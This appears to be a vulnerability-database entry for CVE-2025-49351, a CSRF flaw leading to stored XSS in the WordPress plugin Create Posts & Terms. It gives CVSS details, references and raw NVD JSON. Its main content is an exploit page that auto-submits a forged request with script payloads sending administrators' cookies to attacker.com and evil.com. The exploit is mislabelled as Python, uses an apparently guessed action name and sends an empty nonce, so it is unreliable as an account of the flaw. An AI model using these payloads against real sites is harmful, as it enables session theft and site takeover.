CVE-2025-49351

Description

Cross-Site Request Forgery (CSRF) vulnerability in Valentin Agachi Create Posts & Terms create-posts-terms allows Stored XSS.This issue affects Create Posts & Terms: from n/a through <= 1.3.1.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Create Posts & Terms <= 1.3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-49351: Create Posts & Terms CSRF to Stored XSS -->
<!-- This PoC demonstrates how an attacker can inject malicious JavaScript via CSRF -->
<html>
  <body>
    <h1>CVE-2025-49351 CSRF PoC</h1>
    <p>诱骗管理员提交恶意文章以触发存储型XSS</p>
    
    <form action="http://target-wordpress-site/wp-admin/admin-ajax.php" method="POST" id="exploitForm">
      <input type="hidden" name="action" value="create_pots_terms_action" />
      <input type="hidden" name="post_title" value="<img src=x onerror='alert(document.cookie)'>" />
      <input type="hidden" name="post_content" value="<script>fetch('https://attacker.com/steal?c='+btoa(document.cookie))</script>" />
      <input type="hidden" name="taxonomy" value="category" />
      <input type="hidden" name="term_name" value="XSS-Term<script>alert('XSS')</script>" />
      <input type="hidden" name="nonce" value="" />
    </form>
    
    <script>
      // Auto-submit the form when page loads
      document.getElementById('exploitForm').submit();
      console.log('CSRF PoC sent - check if XSS payload was stored');
    </script>
    
    <p>或者使用Fetch API发送请求:</p>
    <button onclick="sendExploit()">发送漏洞利用请求</button>
    
    <script>
      function sendExploit() {
        fetch('http://target-wordpress-site/wp-admin/admin-ajax.php', {
          method: 'POST',
          credentials: 'include',
          headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
          },
          body: new URLSearchParams({
            'action': 'create_pots_terms_action',
            'post_title': '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">',
            'post_content': 'Malicious content with XSS payload',
            'taxonomy': 'category',
            'term_name': '<script>document.location=\'https://evil.com/redirect?url=\'+document.cookie</script>'
          })
        });
      }
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49351
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49351
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49351/
[4] VulDB https://vuldb.com/cve/CVE-2025-49351
[5] https://patchstack.com/database/Wordpress/Plugin/create-posts-terms/vulnerability/wordpress-create-posts-terms-plugin-1-3-1-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49351", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:58.670", "lastModified": "2026-04-28T19:33:01.637", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Valentin Agachi Create Posts & Terms create-posts-terms allows Stored XSS.This issue affects Create Posts & Terms: from n/a through <= 1.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/create-posts-terms/vulnerability/wordpress-create-posts-terms-plugin-1-3-1-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}